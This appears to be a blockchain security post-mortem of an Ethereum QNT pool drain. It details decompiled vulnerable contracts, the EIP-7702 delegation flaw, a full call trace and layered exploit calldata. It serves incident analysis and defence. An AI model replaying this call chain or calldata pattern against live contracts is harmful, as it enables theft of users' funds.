QNT Pool Drain via EIP-7702 Admin EOA Delegation
2026-4-27 23:59:13 Author: www.darknavy.org(查看原文) 阅读量:0 收藏

On Ethereum mainnet, transaction 0xef9994ac862318ccf3ebdb66c181bb159651373b945aea59a966608d7b98684f succeeded at block 24978818 on 2026-04-28T13:19:59Z. The attacker deployed two helper contracts and exploited the public batch(address[],bytes[]) function on legacy contract 0x044dc3e39c566a95011e272ec800dbd2cc9c057c to route a call through an EIP-7702 delegated EOA (0xc6ddf907). Because 0xc6ddf907 was a registered admin of QNT pool 0xdd4f556e1b42d9b29294a7eeb6d6a5059bbbe16a, the call passed the pool’s _isAdmin(msg.sender) check on forwardTransaction(), causing QNT.transfer(attacker, 1974.5465 QNT). The victim pool lost 1,974.546547972979064297 QNT, estimated at approximately $124.9K.

Root Cause

Vulnerable Contract 1: Batch Executor

  • Batch contract: 0x044dc3e39c566a95011e272ec800dbd2cc9c057c.
  • Source status: unverified on Etherscan. Decompiled via Dedaub (user-provided reconstruction).
  • Bytecode size: 1,418 bytes — minimal utility contract.
// AI source reconstruction by app.dedaub.com
// 2026.04.29 01:23 UTC
pragma solidity 0.8.31;

error BatchRevert(uint256 index, address recipient, bytes returnData);

contract Contract {
    function batch(address[] calldata recipients, bytes[] calldata data) public payable {
        require(recipients.length == data.length);
        for (uint256 i = 0; i < recipients.length; i++) {
            (bool success, bytes memory returnData) = recipients[i].call(data[i]);  // <-- NO ACCESS CONTROL
            if (!success) {
                revert BatchRevert(i, recipients[i], returnData);
            }
        }
    }

    receive() external payable {}
}

The batch() function is public with no access control — no onlyOwner, no whitelist, no require(msg.sender == ...). Any caller can specify any target address and any calldata, and the contract will execute recipients[i].call(data[i]) without restriction.

Vulnerable Contract 2: QNT Pool

  • QNT pool: 0xdd4f556e1b42d9b29294a7eeb6d6a5059bbbe16a.
  • Source status: unverified on Etherscan. Decompiled via Dedaub (user-provided reconstruction).
  • Contract type: investment pool with deposit/withdrawal, whitelist management, fee distribution, and an admin-only forwardTransaction function.
  • Bytecode size: ~14 KB, 20+ public functions.

The critical function is forwardTransaction (selector 0x4d5a8e10):

function _0x4d5a8e10(address target, uint256 gasAmount, bytes calldata data) external {
    require(_isAdmin(msg.sender));   // <-- access control: checks admin flag
    require(stor_0_0_0 != 1);        // pool must not be in 'failed' state
    emit EventA0e077e8(target, gasAmount, data);
    uint256 g = gasAmount > 0 ? gasAmount : gasleft();
    (bool ok,) = target.call{gas: g}(data);  // <-- arbitrary external call
    require(ok);
}

function _isAdmin(address a) internal view returns (bool) {
    return (_getParticipantInfo[a].flags & 0xff) != 0;  // bottom byte of flags != 0
}

The forwardTransaction() function does have access controlrequire(_isAdmin(msg.sender)). The admin check looks up the caller in the _getParticipantInfo mapping and verifies the bottom byte of the flags field is non-zero. During the exploit, msg.sender was 0xc6ddf907, which was a registered admin of the pool. The check passed, and the function executed QNT.transfer(attacker, 1974.5 QNT) via the arbitrary external call.

This means the exploit relied on being able to make calls appear to originate from the admin EOA 0xc6ddf907.

  • Delegated EOA: 0xc6ddf90790b433743bd050c1d1d45f673a3413f4.
  • On-chain bytecode: 0xef010095538e1c40e82dbc9dfb2f7f88580d0d0824688e.
    • 0xef01 = EIP-7702 delegation designator.
    • 0x00 = version byte.
    • 0x95538e1c40e82dbc9dfb2f7f88580d0d0824688e = implementation address.
  • Implementation: 0x95538e1c40e82dbc9dfb2f7f88580d0d0824688e (unverified, ~4 KB).
    • Key selectors: 0x34fcd5be = executeBatch((address,uint256,bytes)[]), 0x2f54bf6e = isOwner(address).
    • Source status: unverified — the executeBatch access control behavior cannot be confirmed from source. The presence of isOwner(address) suggests owner-based access control, meaning executeBatch likely requires the caller to be an authorized owner.

Before EIP-7702, 0xc6ddf907 was a plain EOA. Only the holder of its private key could sign transactions from it. The pool’s require(_isAdmin(msg.sender)) was secure because it relied on the assumption that only the EOA owner could call functions “from” that address.

After EIP-7702 delegation, 0xc6ddf907 behaves as a smart contract: anyone can call its functions, and those calls execute with 0xc6ddf907 as msg.sender to downstream contracts.

Why It’s Vulnerable

Expected behavior: the QNT pool’s forwardTransaction() is admin-only. Only the private key holder of admin addresses can invoke it. The admin EOA 0xc6ddf907 was trusted to only call forwardTransaction for legitimate operations.

Actual behavior: EIP-7702 delegation broke the trust assumption that “only the private key holder of address X can send transactions from X.” After delegation, the EOA’s code can be invoked by any caller. When the batch contract called executeBatch() on the EIP-7702 implementation, the implementation executed the requested operation from 0xc6ddf907’s context — so msg.sender to the QNT pool was 0xc6ddf907, a registered admin. The pool’s _isAdmin(0xc6ddf907) check passed because the address is indeed an admin — but the call was initiated by the attacker, not by the admin.

The role of the batch contract: The attacker went through the batch contract rather than calling 0xc6ddf907.executeBatch() directly. This is significant — the EIP-7702 implementation has isOwner(address), suggesting executeBatch checks whether msg.sender is an authorized owner. If so, the batch contract (0x044dc3e3) was likely registered as an owner of the EIP-7702 wallet, making it a necessary stepping stone. The attacker could not call executeBatch directly from their deployed contract because it was not an authorized caller. The batch contract, with its missing access control, became the entry point that the attacker exploited to reach the authorized executeBatch.

The attack chain combined three weaknesses:

ComponentWeaknessRole in Attack
Batch contract 0x044dc3e3No access control on batch()Entry point: anyone can route calls through it to reach authorized executors
EIP-7702 account 0xc6ddf907EIP-7702 delegation + admin of poolDelegation turns trusted admin EOA into callable contract; its admin status on the pool is weaponized
QNT pool 0xdd4f556eforwardTransaction trusts callers by addressAdmin address-based trust is broken when the admin EOA becomes a delegated contract

Source caveat: the EIP-7702 implementation at 0x95538e1c remains unverified. The isOwner(address) selector and the attacker’s choice to route through the batch contract strongly suggest owner-based access control on executeBatch, but this cannot be confirmed without the implementation source. If executeBatch has no access control, the batch contract would not be strictly necessary, but the core finding — EIP-7702 delegation breaking address-based trust — remains unchanged.

Attack Execution

High-Level Flow

  1. The attacker EOA 0xf5604f65 submitted a contract-creation transaction deploying AttackContract1 (0xee039cb7).
  2. AttackContract1 deployed AttackContract2 (0x9af7eb6c) via CREATE.
  3. AttackContract1 called AttackContract2 via selector 0x0ce23abb to trigger the exploit.
  4. AttackContract2 called batch() on the unpermissioned batch contract, targeting the EIP-7702 account 0xc6ddf907 with executeBatch() calldata.
  5. The batch contract forwarded the call to 0xc6ddf907, which (via EIP-7702 delegation) executed executeBatch() with one operation: call QNT pool 0xdd4f556e with forwardTransaction(QNT, 0, transfer(attacker, 1974.5 QNT)).
  6. The QNT pool’s forwardTransaction() checked _isAdmin(0xc6ddf907) — passed, since 0xc6ddf907 is a registered admin — and executed QNT.transfer(attacker, 1974546547972979064297).

Detailed Call Trace

  • Root: attacker EOA 0xf5604f65 CREATEs AttackContract1 0xee039cb7.
    • Path .0: AttackContract1 CREATEs AttackContract2 0x9af7eb6c (init bytecode 8,597 bytes, runtime 16,890 bytes).
    • Path .1: AttackContract1 -> AttackContract2, CALL, selector 0x0ce23abb (4-byte trigger function, no arguments).
      • Path .1.0: AttackContract2 -> batch contract 0x044dc3e3, CALL, selector 0xf38f59d7 = batch(address[],bytes[]). Input: 740 bytes.
        • recipients = [0xc6ddf90790b433743bd050c1d1d45f673a3413f4]
        • data = [executeBatch(...)]
        • Path .1.0.0: batch contract -> EIP-7702 account 0xc6ddf907, CALL, selector 0x34fcd5be = executeBatch((address,uint256,bytes)[]). Input: 484 bytes.
          • msg.sender to EIP-7702 impl = 0x044dc3e3 (batch contract). If executeBatch checks isOwner(msg.sender), the batch contract must be a registered owner.
          • operations = [(0xdd4f556e, 0, forwardTransaction(...))]
          • Path .1.0.0.0: 0xc6ddf907 -> QNT pool 0xdd4f556e, CALL, selector 0x4d5a8e10 = forwardTransaction(address,uint256,bytes). Input: 228 bytes.
            • msg.sender = 0xc6ddf907registered admin, _isAdmin check passes.
            • target = 0x4a220e6096b25eadb88358cb44068a3248254675 (QNT token)
            • gasAmount = 0 (uses gasleft())
            • data = 0xa9059cbb000...6b0a5687c913387de9 = transfer(0xf5604f65..., 1974546547972979064297)
            • Path .1.0.0.0.0: QNT pool -> QNT token, CALL, transfer(address,uint256). Output: 32 bytes (success).

Calldata Breakdown

The outermost transaction is a contract creation (9,989 bytes init code). The nested exploit calldata:

Layer 1batch(address[],bytes[]) at batch contract (740 bytes):

0xf38f59d7
  recipients.length = 1
  recipients[0]    = 0xc6ddf90790b433743bd050c1d1d45f673a3413f4
  data[0]          = <executeBatch calldata>

Layer 2executeBatch((address,uint256,bytes)[]) at EIP-7702 account (484 bytes):

0x34fcd5be
  operations.length = 1
  operations[0]:
    target = 0xdd4f556e1b42d9b29294a7eeb6d6a5059bbbe16a  (QNT pool)
    value  = 0
    data   = <forwardTransaction calldata>

Layer 3forwardTransaction(address,uint256,bytes) at QNT pool (228 bytes):

0x4d5a8e10
  target    = 0x4a220e6096b25eadb88358cb44068a3248254675  (QNT token)
  gasAmount = 0  (uses gasleft())
  data      = transfer(0xf5604f6545d5827a01801ffa5c48f5c61258fa01, 1974546547972979064297)

The transfer amount 0x6b0a5687c913387de9 = 1974546547972979064297 = 1974.546547972979064297 QNT (18 decimals).

Financial Impact

MetricValue
Token drained1,974.546547972979064297 QNT
Estimated USD~$124.9K
Gas used2,270,882
Gas price1.7735 gwei
Gas cost0.004027 ETH (~$6.40)
Attack complexitySingle transaction, no flash loan, no AMM interaction

No flash loan, AMM swap, oracle manipulation, or price feed interaction appears in this transaction. The loss comes entirely from the EIP-7702 delegation enabling impersonation of a trusted admin address.

Evidence

  • Exploit receipt status: 0x1.
  • Contract created in exploit receipt: AttackContract1 0xee039cb73872827a5118cdd67e0b24e45651e49f.
  • Receipt log 0x1f1: event from QNT pool 0xdd4f556e (topic 0xa0e077e8...) — matches EventA0e077e8(address, uint256, bytes) emitted by forwardTransaction(). Decoded data: target = QNT token, gasAmount = 0, data = transfer(attacker, 1974546547972979064297). This confirms forwardTransaction() executed and the _isAdmin(msg.sender) check passed.
  • Receipt log 0x1f2: QNT Transfer(address,address,uint256) (topic 0xddf252ad...) from 0xdd4f556e to 0xf5604f65, amount 1974546547972979064297.
  • EIP-7702 delegation verification: bytecode at 0xc6ddf907 is 0xef0100 + 95538e1c40e82dbc9dfb2f7f88580d0d0824688e, confirming EIP-7702 delegation.
  • Admin verification: the trace shows 0xc6ddf907 calling forwardTransaction() on the QNT pool, and the pool accepted the call (did not revert). The Dedaub decompilation confirms forwardTransaction requires _isAdmin(msg.sender), proving 0xc6ddf907 is a registered admin.
  • Selector verification: batch(address[],bytes[]) = 0xf38f59d7, executeBatch((address,uint256,bytes)[]) = 0x34fcd5be, forwardTransaction(address,uint256,bytes) = 0x4d5a8e10, transfer(address,uint256) = 0xa9059cbb.
  • Source caveat: batch contract and QNT pool decompiled via Dedaub (user-provided). EIP-7702 implementation (0x95538e1c) remains unverified; executeBatch access control behavior is inferred from the isOwner(address) selector and the attacker’s routing choice.

文章来源: https://www.darknavy.org/web3/exploits/qnt-pool-drain-via-eip-7702-admin-eoa-delegation/
如有侵权请联系:admin#unsafe.sh